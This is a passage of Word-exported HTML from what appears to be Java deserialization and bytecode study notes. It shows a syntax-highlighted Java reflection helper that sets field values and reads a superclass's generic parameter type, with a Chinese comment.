              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">if</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">field </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">==</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">throw</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">IllegalArgumentException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;Could not find field [&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">+</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> fieldName </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">+</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;] on target [&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">+</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> object </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">+</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;]&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">makeAccessible</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">field</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span>field</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">set</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> value</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">catch</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">IllegalAccessException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> e</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">//log.error(&#34;setFieldValue:&#34;, e);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/**</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">通过反射,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">获得定义</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> Class </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">时声明的父类的泛型参数的类型</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">如:</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> public EmployeeDao extends BaseDao</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">       &lt;Employee&lt; span&gt;
       &lt;/Employee&lt;&gt;</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ErrorTok&#39;;color: #FF0000;font-weight: bold;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ErrorTok&#39;;color: #FF0000;font-weight: bold;font-family: Consolas;">String</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span>* @</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param clazz</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param index</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*/</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;AttributeTok&#39;;color: #7D9029;font-family: Consolas;">@SuppressWarnings</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;unchecked&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">static</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getSuperClassGenricType</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim 